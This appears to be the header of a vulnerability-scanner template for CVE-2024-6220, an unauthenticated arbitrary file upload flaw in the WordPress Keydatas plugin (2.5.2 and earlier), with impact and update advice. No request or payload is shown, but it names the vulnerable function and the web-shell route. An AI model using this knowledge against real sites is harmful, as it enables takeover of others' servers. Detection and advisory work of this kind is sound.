WordPress Keydatas ≤ 2.5.2 - Arbitrary File Upload

id: CVE-2024-6220

info:
  name: WordPress Keydatas ≤ 2.5.2 - Arbitrary File Upload
  author: hnd3884
  severity: critical
  description: |
    The Keydatas plugin for WordPress (known in Chinese as "简数采集器") is vulnerable to unrestricted file uploads due to missing file-type validation in the keydatas_downloadImages function in all versions up to and including 2.5.2. An unauthenticated attacker can upload arbitrary files to the server — potentially leading to remote code execution, site takeover, or other severe compromise.
  impact: |
    Unauthenticated attackers can upload arbitrary files including PHP web shells through the keydatas_downloadImages function, achieving remote code execution and complete site compromise.
  remediation: |
    Update Keydatas plugin to version 2.5.3 or later to address the arbitrary file upload vulnerability.
